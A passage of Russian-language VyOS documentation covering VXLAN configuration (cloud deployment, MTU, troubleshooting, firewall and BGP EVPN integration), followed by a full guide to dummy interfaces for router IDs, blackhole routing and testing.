Loopback адрес не зависит от состояния физических интерфейсов.

### VXLAN с IPv6 underlay

VXLAN поддерживает IPv6 для underlay сети:

```
# IPv6 underlay
set interfaces ethernet eth0 address 2001:db8:1::10/64

# VXLAN через IPv6
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-address 2001:db8:1::10
set interfaces vxlan vxlan100 remote 2001:db8:2::10
set interfaces vxlan vxlan100 mtu 1450

# IPv4 overlay
set interfaces vxlan vxlan100 address 10.100.0.1/24

commit
```

### VXLAN с firewall

Защита VXLAN трафика через firewall:

```
# VXLAN интерфейс
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-interface eth0
set interfaces vxlan vxlan100 remote 192.0.2.20
set interfaces vxlan vxlan100 address 10.100.0.1/24

# Firewall для overlay трафика
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 source address 10.100.0.0/24
set firewall ipv4 input filter rule 100 description 'Allow VXLAN overlay'

# Firewall для underlay VXLAN (UDP 8472)
set firewall ipv4 input filter rule 200 action accept
set firewall ipv4 input filter rule 200 protocol udp
set firewall ipv4 input filter rule 200 destination port 8472
set firewall ipv4 input filter rule 200 source address 192.0.2.0/24
set firewall ipv4 input filter rule 200 description 'Allow VXLAN encapsulation'

commit
```

### VXLAN Full-Mesh (3 узла)

Создание полносвязной топологии для 3 узлов:

**Вариант 1: Отдельные VXLAN на пару** (не рекомендуется):
Слишком много интерфейсов для большого количества узлов.

**Вариант 2: Multicast** (если поддерживается):
```
# На всех узлах одинаковая конфигурация
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-interface eth0
set interfaces vxlan vxlan100 group 239.0.0.100
set interfaces vxlan vxlan100 mtu 1450

set interfaces bridge br100
set interfaces bridge br100 member interface vxlan100
set interfaces bridge br100 address 10.100.0.X/24

commit
```

**Вариант 3: BGP EVPN** (best practice для продакшна):
Используйте BGP EVPN для автоматического распространения MAC/IP маршрутов и построения VXLAN fabric.

## Интеграция с облачными провайдерами

### Yandex Cloud особенности

**Ограничения**:
- Multicast не поддерживается
- Используйте только unicast VXLAN
- MTU: рекомендуется 1450 (Yandex Cloud MTU = 1500)
- Security groups: разрешите UDP 8472 между узлами

**Конфигурация Security Group**:
```
# В консоли Yandex Cloud создайте правило:
Протокол: UDP
Порт: 8472
Источник: CIDR блок с адресами VTEP узлов
```

**Пример для HA кластера**:
```
# Узел 1 (основной)
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-interface eth0
set interfaces vxlan vxlan100 remote 10.128.0.20
set interfaces vxlan vxlan100 address 172.16.0.1/24

# VRRP для HA
set high-availability vrrp group vxlan100 vrid 100
set high-availability vrrp group vxlan100 interface vxlan100
set high-availability vrrp group vxlan100 address 172.16.0.254/24
set high-availability vrrp group vxlan100 priority 200

commit
```

### VK Cloud особенности

**Ограничения**:
- Multicast не поддерживается
- MTU: рекомендуется 1450
- Firewall: разрешите UDP 8472

**Конфигурация Firewall**:
В панели VK Cloud:
```
Правило входящего трафика:
- Протокол: UDP
- Порт: 8472
- Источник: IP адреса VTEP
```

**Overlay для Kubernetes**:
```
# VXLAN для Kubernetes CNI
set interfaces vxlan vxlan10 vni 10
set interfaces vxlan vxlan10 source-interface eth0
set interfaces vxlan vxlan10 remote 10.0.0.20

set interfaces bridge cni0
set interfaces bridge cni0 member interface vxlan10
set interfaces bridge cni0 address 10.244.0.1/24

# IP forwarding для pod routing
# VyOS автоматически включает forwarding

commit
```

### Общие рекомендации для облаков

1. **Используйте unicast VXLAN** - multicast обычно не поддерживается
2. **MTU 1450** - для предотвращения фрагментации
3. **Security groups/Firewall** - разрешите UDP 8472 между VTEP
4. **Source-address на loopback** - для стабильности при failover
5. **Мониторинг underlay** - проверяйте доступность remote VTEP
6. **BGP EVPN** - для автоматизации в больших инсталляциях

## UDP Port конфигурация

Изменение стандартного порта (8472) на IANA (4789):

```
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 port 4789
set interfaces vxlan vxlan100 source-interface eth0
set interfaces vxlan vxlan100 remote 192.0.2.20
commit
```

**Когда менять порт**:
- Интеграция с оборудованием других вендоров (Cisco, Arista используют 4789)
- Корпоративные стандарты требуют IANA порт
- Firewall правила уже настроены на 4789

**Важно**: Порт должен совпадать на всех VTEP в одном VNI.

## MAC Address

Установка статического MAC-адреса для VXLAN интерфейса:

```
set interfaces vxlan vxlan100 mac 00:50:56:00:00:01
commit
```

Может потребоваться для:
- Интеграции с legacy системами
- Лицензирования по MAC
- Debugging

## ARP и ND

### ARP Cache Timeout

```
set interfaces vxlan vxlan100 ip arp-cache-timeout 3600
commit
```

### Disable ARP

```
set interfaces vxlan vxlan100 ip disable-arp-filter
commit
```

### IPv6 Neighbor Discovery

```
set interfaces vxlan vxlan100 ipv6 dup-addr-detect-transmits 1
commit
```

## Операционные команды

### Просмотр VXLAN интерфейсов

```
show interfaces vxlan
```

Пример вывода:
```
Codes: S - State, L - Link, u - Up, D - Down, A - Admin Down
Interface        IP Address                        S/L  Description
---------        ----------                        ---  -----------
vxlan100         10.100.0.1/24                     u/u  VXLAN Overlay 100
vxlan200         10.200.0.1/24                     u/u  VXLAN Overlay 200
```

### Детальная информация VXLAN

```
show interfaces vxlan vxlan100
```

Пример вывода:
```
vxlan100: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UP
    link/ether 00:50:56:00:12:34 brd ff:ff:ff:ff:ff:ff
    inet 10.100.0.1/24 brd 10.100.0.255 scope global vxlan100
    vxlan id 100 remote 192.0.2.20 dev eth0 srcport 0 0 dstport 8472
```

### Статистика VXLAN

```
show interfaces vxlan vxlan100 statistics
```

Пример вывода:
```
RX:  bytes    packets  errors  dropped  overrun  mcast
     1048576  1024     0       0        0        0
TX:  bytes    packets  errors  dropped  carrier  collsns
     2097152  2048     0       0        0        0
```

### FDB (Forwarding Database)

Просмотр изученных MAC-адресов в VXLAN:

```
show bridge vxlan vxlan100 fdb
```

Пример вывода:
```
port    mac addr           flags
vxlan100  00:0c:29:12:34:56  dst 192.0.2.20
vxlan100  00:0c:29:ab:cd:ef  dst 192.0.2.30
```

### Проверка соединения

Ping через overlay сеть:

```
ping 10.100.0.2 source-address 10.100.0.1
```

Traceroute:

```
traceroute 10.100.0.2 source-address 10.100.0.1
```

### Мониторинг инкапсулированного трафика

```
monitor interfaces vxlan vxlan100 traffic
```

Capture VXLAN пакетов:

```
monitor traffic interface eth0 filter 'udp port 8472'
```

## Устранение неполадок

### VXLAN интерфейс не поднимается

Проверьте source-interface:
```
show interfaces ethernet eth0
```

Убедитесь что source интерфейс в состоянии UP.

Проверьте конфигурацию:
```
show configuration interfaces vxlan vxlan100
```

### Нет связности через VXLAN

**1. Проверьте underlay связность**:
```
ping 192.0.2.20 source-address 192.0.2.10
```

Если underlay не работает - VXLAN не заработает.

**2. Проверьте firewall/security groups**:
```
# На удаленном узле
sudo tcpdump -i eth0 udp port 8472
```

Если пакеты не приходят - проблема в firewall.

**3. Проверьте VNI**:
VNI должен совпадать на обоих концах туннеля.

**4. Проверьте MTU**:
```
ping 10.100.0.2 size 1400 do-not-fragment
```

Если пакеты не проходят - уменьшите MTU.

### FDB не обучается (MAC не видны)

Проверьте bridge конфигурацию:
```
show bridge brX fdb
```

Убедитесь что VXLAN интерфейс в bridge:
```
show bridge brX
```

Проверьте aging time:
```
show configuration interfaces bridge brX
```

### Broadcast storm в VXLAN

Возможные причины:
- Петля в overlay топологии
- Неправильная конфигурация STP
- Duplicate MAC addresses

**Решение**:
```
# Включите STP на bridge
set interfaces bridge br100 stp
commit

# Проверьте STP
show bridge br100 spanning-tree
```

### Высокая фрагментация пакетов

Уменьшите VXLAN MTU:

```
set interfaces vxlan vxlan100 mtu 1400
commit
```

Или увеличьте underlay MTU (если возможно):

```
set interfaces ethernet eth0 mtu 1600
commit
```

### Remote VTEP недоступен

Проверьте маршрут:
```
show ip route 192.0.2.20
```

Проверьте ARP:
```
show arp interface eth0
```

Traceroute к remote VTEP:
```
traceroute 192.0.2.20
```

### VXLAN работает только в одну сторону

Проверьте symmetric конфигурацию на обоих концах:
- VNI должен совпадать
- UDP port должен совпадать
- Remote IP должен указывать на правильный peer

### Производительность VXLAN низкая

**1. Проверьте CPU load**:
```
show system cpu
```

VXLAN инкапсуляция использует CPU.

**2. Включите offloading** (если поддерживается):
```
show interfaces ethernet eth0 offload
```

**3. Используйте jumbo frames**:
```
# Underlay
set interfaces ethernet eth0 mtu 9000

# VXLAN
set interfaces vxlan vxlan100 mtu 8950

commit
```

**4. Проверьте bandwidth underlay**:
Возможно bottleneck в физической сети.

## Расчет MTU

### Стандартный MTU (1500)

```
VXLAN MTU = Underlay MTU - VXLAN Overhead
VXLAN MTU = 1500 - 50 = 1450
```

**Overhead компоненты**:
- Outer Ethernet: 14 байт
- Outer IP: 20 байт (IPv4) или 40 байт (IPv6)
- UDP: 8 байт
- VXLAN: 8 байт
- **Total**: 50 байт (IPv4), 70 байт (IPv6)

### Jumbo Frames (9000)

```
VXLAN MTU = 9000 - 50 = 8950
```

### С VLAN tag

```
VXLAN MTU = 1500 - 50 - 4 = 1446
```

VLAN tag добавляет 4 байта.

### Автоматическое определение MTU

```
# Path MTU Discovery включен по умолчанию
show interfaces vxlan vxlan100
```

## Производительность

### Рекомендации по оптимизации

**1. Hardware offloading**:
Используйте NIC с поддержкой VXLAN offload.

**2. Jumbo frames**:
Увеличьте MTU до 9000 на underlay и 8950 на overlay.

**3. Source на loopback**:
Используйте loopback адреса для VTEP - стабильнее при failover.

**4. Multipath routing**:
Используйте ECMP для load balancing VXLAN трафика.

**5. CPU pinning**:
Для критичных workloads настройте CPU affinity.

### Тестирование производительности

**Throughput**:
```
# На сервере
iperf3 -s -B 10.100.0.1

# На клиенте
iperf3 -c 10.100.0.1 -t 60 -P 4
```

**Latency**:
```
ping 10.100.0.2 -i 0.2 -c 1000
```

**Packet loss**:
```
mtr 10.100.0.2 -c 100
```

## Безопасность

### Шифрование VXLAN

VXLAN по умолчанию **не шифрует** трафик. Для шифрования:

**Вариант 1: IPsec поверх VXLAN**:
```
# Создайте IPsec туннель между VTEP
set vpn ipsec site-to-site peer 192.0.2.20 ...

# VXLAN через IPsec туннель
set interfaces vxlan vxlan100 source-interface ipsec0
```

**Вариант 2: WireGuard underlay**:
```
# WireGuard туннель
set interfaces wireguard wg0 ...

# VXLAN через WireGuard
set interfaces vxlan vxlan100 source-interface wg0
```

### Firewall для VXLAN

**Защита underlay**:
```
# Разрешить VXLAN только от известных VTEP
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 protocol udp
set firewall ipv4 input filter rule 100 destination port 8472
set firewall ipv4 input filter rule 100 source address 192.0.2.0/24

set firewall ipv4 input filter rule 110 action drop
set firewall ipv4 input filter rule 110 protocol udp
set firewall ipv4 input filter rule 110 destination port 8472

commit
```

**Защита overlay**:
```
# Firewall для overlay трафика
set firewall ipv4 forward filter rule 200 action accept
set firewall ipv4 forward filter rule 200 inbound-interface name vxlan100
set firewall ipv4 forward filter rule 200 state established
set firewall ipv4 forward filter rule 200 state related

commit
```

### Rate Limiting

Защита от flooding:

```
set firewall ipv4 input filter rule 300 action accept
set firewall ipv4 input filter rule 300 protocol udp
set firewall ipv4 input filter rule 300 destination port 8472
set firewall ipv4 input filter rule 300 limit rate 1000/second
commit
```

## Мониторинг

### Ключевые метрики

**1. Interface statistics**:
```
show interfaces vxlan vxlan100 statistics
```

Отслеживайте:
- RX/TX errors
- Dropped packets
- Overruns

**2. FDB размер**:
```
show bridge brX fdb | count
```

**3. CPU usage**:
```
show system cpu
```

VXLAN инкапсуляция использует CPU.

**4. Underlay health**:
```
ping 192.0.2.20 source-address 192.0.2.10
```

### Logging

Включение debug логов для VXLAN:

```
# В VyOS 1.4
set system syslog global facility local7 level debug

# В VyOS 1.5
# Смотрите документацию по logging
```

Просмотр логов:
```
show log | match vxlan
```

## Интеграция

### С BGP EVPN

BGP EVPN автоматизирует распространение MAC/IP маршрутов в VXLAN fabric:

```
# Loopback для VTEP
set interfaces loopback lo address 192.0.2.1/32

# VXLAN
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-address 192.0.2.1

# Bridge
set interfaces bridge br100
set interfaces bridge br100 member interface vxlan100

# BGP для underlay
set protocols bgp system-as 65000
set protocols bgp neighbor 10.0.0.1 remote-as 65000

# BGP EVPN
set protocols bgp address-family l2vpn-evpn advertise-all-vni
set protocols bgp address-family l2vpn-evpn advertise-default-gw
set protocols bgp address-family l2vpn-evpn neighbor 10.0.0.1 activate

commit
```

### С OSPF (underlay)

OSPF для маршрутизации между VTEP:

```
# Loopback
set interfaces loopback lo address 192.0.2.1/32

# OSPF
set protocols ospf area 0 network 192.0.2.1/32
set protocols ospf area 0 network 10.0.0.0/24

# VXLAN с source на loopback
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 source-address 192.0.2.1
set interfaces vxlan vxlan100 remote 192.0.2.2

commit
```

OSPF анонсирует loopback адреса, обеспечивая underlay связность.

### С VRF

Изоляция VXLAN overlay в отдельном VRF:

```
# VRF для tenant
set vrf name TENANT table 100

# VXLAN в VRF
set interfaces vxlan vxlan100 vni 100
set interfaces vxlan vxlan100 vrf TENANT
set interfaces vxlan vxlan100 address 10.100.0.1/24

commit
```

### С QoS

Приоритизация VXLAN трафика:

```
# QoS для VXLAN underlay
set qos policy shaper VXLAN-QOS bandwidth 1gbit
set qos policy shaper VXLAN-QOS class 10 match vxlan ip protocol udp
set qos policy shaper VXLAN-QOS class 10 match vxlan ip destination port 8472
set qos policy shaper VXLAN-QOS class 10 bandwidth 800mbit

set interfaces ethernet eth0 qos egress VXLAN-QOS

commit
```

## Сравнение технологий

### VXLAN vs VLAN

| Характеристика | VXLAN | VLAN |
|---------------|-------|------|
| Идентификатор | 24 бита (16M) | 12 бит (4096) |
| Масштабируемость | Очень высокая | Ограничена |
| Работает через L3 | Да | Нет |
| Overhead | 50 байт | 4 байта |
| Сложность | Высокая | Низкая |
| Применение | Data center, cloud | Campus, enterprise |

### VXLAN vs GRE

| Характеристика | VXLAN | GRE |
|---------------|-------|-----|
| Уровень | L2 over L3 | L3 over L3 |
| Multicast | Поддерживается | Нет |
| NAT traversal | Да (UDP) | Ограничено |
| Идентификатор | VNI (24 бит) | Key (32 бит) |
| Масштабируемость | Высокая | Средняя |

### VXLAN vs MPLS L2VPN

| Характеристика | VXLAN | MPLS L2VPN |
|---------------|-------|-----------|
| Протокол | UDP | MPLS |
| Сложность | Средняя | Высокая |
| Стоимость | Низкая | Высокая |
| Control plane | BGP EVPN/Multicast | LDP/BGP |
| Применение | Cloud/DC | Service provider |

## Лучшие практики

1. **MTU планирование** - всегда вычитайте 50 байт от underlay MTU
2. **Source на loopback** - для стабильности при failover
3. **Unicast для облаков** - multicast обычно не поддерживается
4. **Firewall underlay** - разрешайте UDP 8472 только от известных VTEP
5. **Мониторинг FDB** - отслеживайте размер forwarding database
6. **BGP EVPN для продакшна** - автоматизация в больших инсталляциях
7. **Jumbo frames** - если underlay поддерживает
8. **VNI plan** - документируйте назначение VNI
9. **Overlay security** - используйте firewall на overlay интерфейсах
10. **Testing** - тестируйте failover сценарии

## Ограничения

- VXLAN добавляет overhead 50 байт (IPv4) или 70 байт (IPv6)
- Инкапсуляция использует CPU (рекомендуется hardware offload)
- Multicast VXLAN не работает в большинстве облачных провайдеров
- Требуется тщательное планирование MTU
- FDB таблицы могут расти в больших сетях
- Debugging сложнее чем обычные L2/L3 сети

## Примеры для конкретных сценариев

### Kubernetes Overlay

```
# VXLAN для Kubernetes pod network
set interfaces vxlan vxlan-pods vni 1000
set interfaces vxlan vxlan-pods source-interface eth0
set interfaces vxlan vxlan-pods remote 10.0.0.20
set interfaces vxlan vxlan-pods mtu 1450

set interfaces bridge kube-bridge
set interfaces bridge kube-bridge member interface vxlan-pods
set interfaces bridge kube-bridge address 10.244.0.1/24

commit
```

### Multi-DC DCI (Data Center Interconnect)

```
# DC1 VTEP
set interfaces loopback lo address 198.51.100.1/32
set interfaces vxlan vxlan-dci vni 5000
set interfaces vxlan vxlan-dci source-address 198.51.100.1
set interfaces vxlan vxlan-dci remote 203.0.113.1
set interfaces vxlan vxlan-dci mtu 1450

# QoS для DCI
set qos policy shaper DCI bandwidth 10gbit

commit
```

### NFV Service Chaining

```
# VNF1 -> VXLAN -> VNF2 -> VXLAN -> VNF3

# VXLAN сегменты
set interfaces vxlan vxlan-vnf1-vnf2 vni 2001
set interfaces vxlan vxlan-vnf1-vnf2 source-interface eth0
set interfaces vxlan vxlan-vnf1-vnf2 remote 192.0.2.20

set interfaces vxlan vxlan-vnf2-vnf3 vni 2002
set interfaces vxlan vxlan-vnf2-vnf3 source-interface eth0
set interfaces vxlan vxlan-vnf2-vnf3 remote 192.0.2.30

# Bridges для service chaining
set interfaces bridge br-vnf1
set interfaces bridge br-vnf1 member interface vxlan-vnf1-vnf2
set interfaces bridge br-vnf1 member interface eth1

set interfaces bridge br-vnf2
set interfaces bridge br-vnf2 member interface vxlan-vnf2-vnf3
set interfaces bridge br-vnf2 member interface eth2

commit
```

## Следующие шаги

- [Bridge интерфейсы](/docs/vyos/interfaces/vyos-bridge/) - L2 bridging и VLAN-aware mode
- [GRE туннели](/docs/vyos/interfaces/vyos-tunnel/) - альтернативная туннельная технология
- [VRF](/docs/vyos/vrf/) - изоляция routing таблиц для multi-tenancy
- [BGP](/docs/vyos/routing/vyos-bgp/) - control plane для VXLAN fabric
- [Firewall](/docs/vyos/firewall/) - защита VXLAN overlay и underlay
- [QoS](/docs/vyos/qos/) - приоритизация VXLAN трафика

## Ссылки

- [RFC 7348 - VXLAN](https://datatracker.ietf.org/doc/html/rfc7348)
- [VXLAN Deployment Guide](https://docs.vyos.io/en/latest/configuration/interfaces/vxlan.html)
- [BGP EVPN для VXLAN](https://datatracker.ietf.org/doc/html/rfc8365)
- [Yandex Cloud Networking](https://cloud.yandex.ru/docs/vpc/)
- [VK Cloud Networking](https://cloud.vk.com/docs/networks)


---

# Dummy интерфейсы в VyOS

Source: https://opennix.org/docs/vyos/interfaces/vyos-dummy/



Dummy интерфейсы в VyOS - это виртуальные интерфейсы, которые всегда находятся в состоянии "up" и не привязаны к физическому оборудованию. Они используются для различных технических задач, включая тестирование, маршрутизацию, и в качестве стабильных endpoint'ов.

## Обзор

Dummy интерфейсы используются для:

- **Тестирование**: Симуляция интерфейсов без физического оборудования
- **Stable endpoint**: Всегда доступный IP для routing protocols
- **Router ID**: Стабильный идентификатор для OSPF/BGP (альтернатива loopback)
- **Blackhole routing**: Отбрасывание трафика через dummy
- **Source address**: Стабильный source IP для исходящих соединений
- **Development**: Разработка и отладка сетевых конфигураций

### Dummy vs Loopback

| Характеристика | Dummy | Loopback |
|----------------|-------|----------|
| Состояние | Всегда up | Всегда up |
| Использование | Тестирование, routing, blackhole | Router ID, management |
| Количество | Множественные (dum0, dum1, ...) | Один (lo) |
| Стандартизация | Linux-специфичный | Универсальный (RFC 1122) |
| Рекомендация | Для временных задач | Для production router ID |

**Когда использовать Dummy**:
- Тестирование конфигураций
- Временные endpoint'ы
- Blackhole routing
- Множественные виртуальные интерфейсы

**Когда использовать Loopback**:
- Router ID для OSPF/BGP
- Management address
- Production stable endpoint

## Базовая конфигурация

### Создание Dummy интерфейса

```bash
# Создание dummy интерфейса с IP адресом
set interfaces dummy dum0 address 192.168.255.1/32

commit
save
```

### Множественные Dummy интерфейсы

```bash
# Первый dummy
set interfaces dummy dum0 address 192.168.255.1/32

# Второй dummy
set interfaces dummy dum1 address 192.168.255.2/32

# Третий dummy с описанием
set interfaces dummy dum2 address 192.168.255.3/32
set interfaces dummy dum2 description 'Test interface for BGP'

commit
save
```

### Множественные IP адреса на Dummy

```bash
# Dummy с несколькими адресами
set interfaces dummy dum0 address 192.168.255.1/32
set interfaces dummy dum0 address 10.255.255.1/32
set interfaces dummy dum0 address 172.16.255.1/32

commit
save
```

### IPv6 на Dummy

```bash
# IPv4 + IPv6
set interfaces dummy dum0 address 192.168.255.1/32
set interfaces dummy dum0 address 2001:db8::1/128

commit
save
```

## Расширенная конфигурация

### Dummy для Router ID (OSPF/BGP)

```bash
# Dummy интерфейс для Router ID
set interfaces dummy dum0 address 10.255.255.1/32
set interfaces dummy dum0 description 'Router ID for OSPF/BGP'

# OSPF использует этот адрес как Router ID
set protocols ospf parameters router-id 10.255.255.1
set protocols ospf area 0 network 10.255.255.1/32

# BGP также использует
set protocols bgp local-as 65000
set protocols bgp parameters router-id 10.255.255.1

# Анонсировать в OSPF (опционально)
set protocols ospf area 0 network 10.255.255.1/32

commit
save
```

### Blackhole routing с Dummy

Dummy интерфейсы можно использовать для blackhole routing - отбрасывания нежелательного трафика.

```bash
# Создание dummy для blackhole
set interfaces dummy dum0 address 192.0.2.1/32
set interfaces dummy dum0 description 'Blackhole interface'

# Маршруты к dummy (трафик будет отброшен)
set protocols static route 10.0.0.0/8 interface dum0
set protocols static route 172.16.0.0/12 interface dum0
set protocols static route 192.168.0.0/16 interface dum0

commit
save
```

Теперь весь трафик к этим подсетям будет отброшен (полезно для защиты от DDoS или маршрутизации bogon prefixes).

### Source address для исходящих соединений

```bash
# Dummy для stable source address
set interfaces dummy dum0 address 203.0.113.100/32
set interfaces dummy dum0 description 'Stable source for outgoing connections'

# BGP использует dummy как source
set protocols bgp neighbor 198.51.100.1 remote-as 65001
set protocols bgp neighbor 198.51.100.1 update-source dum0

# Статический маршрут для достижимости dummy адреса
set protocols ospf area 0 network 203.0.113.100/32

commit
save
```

### Dummy для тестирования NAT

```bash
# Dummy имитирует внутреннюю сеть
set interfaces dummy dum0 address 192.168.10.1/24
set interfaces dummy dum0 description 'Test internal network'

# NAT для dummy интерфейса
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 192.168.10.0/24
set nat source rule 100 translation address masquerade

commit
save
```

### Dummy для policy-based routing

```bash
# Dummy для PBR тестирования
set interfaces dummy dum0 address 192.168.100.1/24

# Policy route для трафика к dummy
set policy route TEST-ROUTE rule 10 destination address 192.168.100.0/24
set policy route TEST-ROUTE rule 10 set table 100

# Применение к интерфейсу
set interfaces ethernet eth1 policy route TEST-ROUTE

commit
save
```

## Примеры конфигураций

### Пример 1: Router ID для OSPF/BGP

```bash
# Dummy интерфейс для stable Router ID
set interfaces dummy dum0 address 10.255.255.1/32
set interfaces dummy dum0 description 'Router ID'

# OSPF конфигурация
set protocols ospf parameters router-id 10.255.255.1
set protocols ospf area 0 network 10.0.0.0/24
set protocols ospf area 0 network 10.255.255.1/32

# BGP конфигурация
set protocols bgp local-as 65000
set protocols bgp parameters router-id 10.255.255.1
set protocols bgp neighbor 10.0.0.2 remote-as 65001
set protocols bgp neighbor 10.0.0.2 update-source dum0

commit
save
```

### Пример 2: Blackhole routing для bogon prefixes

```bash
# Dummy для blackhole
set interfaces dummy dum0 address 192.0.2.1/32
set interfaces dummy dum0 description 'Blackhole for bogon prefixes'

# RFC 1918 private addresses (если они не должны routing'иться в интернет)
set protocols static route 10.0.0.0/8 blackhole distance 254
set protocols static route 172.16.0.0/12 blackhole distance 254
set protocols static route 192.168.0.0/16 blackhole distance 254

# Другие bogon prefixes
set protocols static route 0.0.0.0/8 blackhole distance 254
set protocols static route 127.0.0.0/8 blackhole distance 254
set protocols static route 169.254.0.0/16 blackhole distance 254
set protocols static route 224.0.0.0/4 blackhole distance 254
set protocols static route 240.0.0.0/4 blackhole distance 254

commit
save
```

**Примечание**: `blackhole` более эффективен чем маршрут через dummy, но dummy может использоваться для специфичных случаев.

### Пример 3: Тестовая среда с множественными Dummy

```bash
# Имитация множественных сетей для тестирования
set interfaces dummy dum0 address 192.168.10.1/24
set interfaces dummy dum0 description 'Test network VLAN 10'

set interfaces dummy dum1 address 192.168.20.1/24
set interfaces dummy dum1 description 'Test network VLAN 20'

set interfaces dummy dum2 address 192.168.30.1/24
set interfaces dummy dum2 description 'Test network VLAN 30'

# OSPF анонсирует все тестовые сети
set protocols ospf area 0 network 192.168.10.0/24
set protocols ospf area 0 network 192.168.20.0/24
set protocols ospf area 0 network 192.168.30.0/24

commit
save
```

### Пример 4: Stable source для BGP peering

```bash
# Dummy для BGP peering
set interfaces dummy dum0 address 10.255.0.1/32
set interfaces dummy dum0 description 'BGP peering endpoint'

# Анонсировать dummy в IGP (OSPF)
set protocols ospf area 0 network 10.255.0.1/32

# BGP neighbors используют dummy как update-source
set protocols bgp local-as 65000
set protocols bgp parameters router-id 10.255.0.1

set protocols bgp neighbor 10.255.0.2 remote-as 65000
set protocols bgp neighbor 10.255.0.2 update-source dum0

set protocols bgp neighbor 10.255.0.3 remote-as 65000
set protocols bgp neighbor 10.255.0.3 update-source dum0

commit
save
```

Теперь BGP peering использует стабильный IP, который не зависит от состояния физических интерфейсов.

### Пример 5: Dummy для VRF тестирования

```bash
# VRF с dummy интерфейсом
set vrf name TEST-VRF table 100

# Dummy в VRF
set interfaces dummy dum0 vrf TEST-VRF
set interfaces dummy dum0 address 192.168.100.1/24
set interfaces dummy dum0 description 'Test interface in VRF'

# Статический маршрут в VRF
set protocols vrf TEST-VRF static route 192.168.200.0/24 next-hop 192.168.100.254

commit
save
```

### Пример 6: Anycast address на Dummy

```bash
# Anycast адрес для сервиса (например, DNS)
set interfaces dummy dum0 address 10.10.10.10/32
set interfaces dummy dum0 description 'Anycast DNS service'

# Анонсировать в OSPF
set protocols ospf area 0 network 10.10.10.10/32

# Или в BGP
set protocols bgp address-family ipv4-unicast network 10.10.10.10/32

commit
save
```

Теперь все роутеры с одинаковой конфигурацией анонсируют 10.10.10.10, и клиенты будут направлены к ближайшему роутеру.

## Мониторинг и диагностика

### Просмотр Dummy интерфейсов

```bash
# Показать все dummy интерфейсы
show interfaces dummy

# Детальная информация
show interfaces dummy dum0

# Статистика (обычно нулевая для dummy)
show interfaces dummy dum0 statistics
```

### Проверка состояния

```bash
# Dummy должен быть всегда up
show interfaces dummy dum0

# Вывод:
# dum0: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500
#     inet 192.168.255.1/32
```

### Проверка маршрутизации

```bash
# Проверка, что dummy адрес в таблице маршрутизации
show ip route

# Ping dummy адреса (с самого роутера)
ping 192.168.255.1

# Traceroute (для проверки routing)
traceroute 192.168.255.1
```

### Проверка в routing protocols

```bash
# OSPF - dummy в базе данных
show ip ospf database

# BGP - dummy анонсируется
show ip bgp
show ip bgp 192.168.255.1/32

# Neighbors используют dummy
show ip bgp neighbors
```

### Логирование

```bash
# Логи интерфейсов
show log | match dum0

# Kernel messages
dmesg | grep dum
```

## Устранение неполадок

### Проблема: Dummy интерфейс не создается

**Диагностика**:

```bash
# Проверка конфигурации
show configuration interfaces dummy

# Проверка состояния
show interfaces dummy
```

**Решение**:

```bash
# Убедиться, что конфигурация применена
commit
save

# Проверить kernel module (обычно загружен по умолчанию)
lsmod | grep dummy

# Если нет - загрузить (обычно не требуется)
sudo modprobe dummy
```

### Проблема: Dummy адрес недоступен с других устройств

**Причина**: Dummy адрес не анонсируется в routing protocol.

**Решение**:

```bash
# Добавить dummy в OSPF
set protocols ospf area 0 network 192.168.255.1/32

# Или в BGP
set protocols bgp address-family ipv4-unicast network 192.168.255.1/32

# Или статический маршрут на других роутерах
set protocols static route 192.168.255.1/32 next-hop 10.0.0.1

commit
save
```

### Проблема: BGP neighbors не используют dummy как source

**Диагностика**:

```bash
# Проверка BGP соседей
show ip bgp neighbors

# Проверка source address в конфигурации
show configuration protocols bgp neighbor
```

**Решение**:

```bash
# Явно указать update-source
set protocols bgp neighbor 10.0.0.2 update-source dum0

# Убедиться, что dummy адрес достижим через IGP
set protocols ospf area 0 network 192.168.255.1/32

commit
save
```

### Проблема: Blackhole routing не работает

**Диагностика**:

```bash
# Проверка маршрутов
show ip route 10.0.0.0/8

# Traceroute для проверки
traceroute 10.1.1.1
```

**Решение**:

Используйте `blackhole` вместо dummy для эффективного отбрасывания:

```bash
# Вместо:
# set protocols static route 10.0.0.0/8 interface dum0

# Используйте:
set protocols static route 10.0.0.0/8 blackhole distance 254

commit
save
```

### Проблема: Dummy в VRF не работает

**Диагностика**:

```bash
# Проверка VRF
show vrf TEST-VRF

# Проверка интерфейса в VRF
show interfaces dummy dum0
```

**Решение**:

```bash
# Убедиться, что dummy привязан к VRF
set interfaces dummy dum0 vrf TEST-VRF

# Проверить routing в VRF
show ip route vrf TEST-VRF

commit
save
```

## Лучшие практики

### 1. Используйте Loopback для production Router ID

Для production router ID предпочтительнее loopback:

```bash
# Лучше:
set interfaces loopback lo address 10.255.255.1/32
set protocols ospf parameters router-id 10.255.255.1

# Чем:
set interfaces dummy dum0 address 10.255.255.1/32
set protocols ospf parameters router-id 10.255.255.1
```

### 2. Dummy для временных/тестовых задач

Используйте dummy для тестирования и временных конфигураций:

```bash
set interfaces dummy dum0 address 192.168.100.1/24
set interfaces dummy dum0 description 'TEST - Remove after testing'
```

### 3. Описывайте назначение

Всегда добавляйте description:

```bash
set interfaces dummy dum0 description 'BGP peering endpoint'
set interfaces dummy dum1 description 'Test network simulation'
```

### 4. Используйте /32 для endpoint адресов

Для Router ID и stable endpoints используйте /32:

```bash
set interfaces dummy dum0 address 10.255.0.1/32
```

### 5. Blackhole через blackhole keyword

Для blackhole routing используйте встроенный blackhole:

```bash
# Предпочтительно:
set protocols static route 10.0.0.0/8 blackhole distance 254

# Вместо:
set protocols static route 10.0.0.0/8 interface dum0
```

### 6. Документируйте тестовые dummy

Документируйте все dummy интерфейсы:

```bash
# /config/dummy-interfaces.txt
# dum0: BGP peering endpoint (10.255.0.1/32)
# dum1: Test VLAN 10 simulation (192.168.10.1/24)
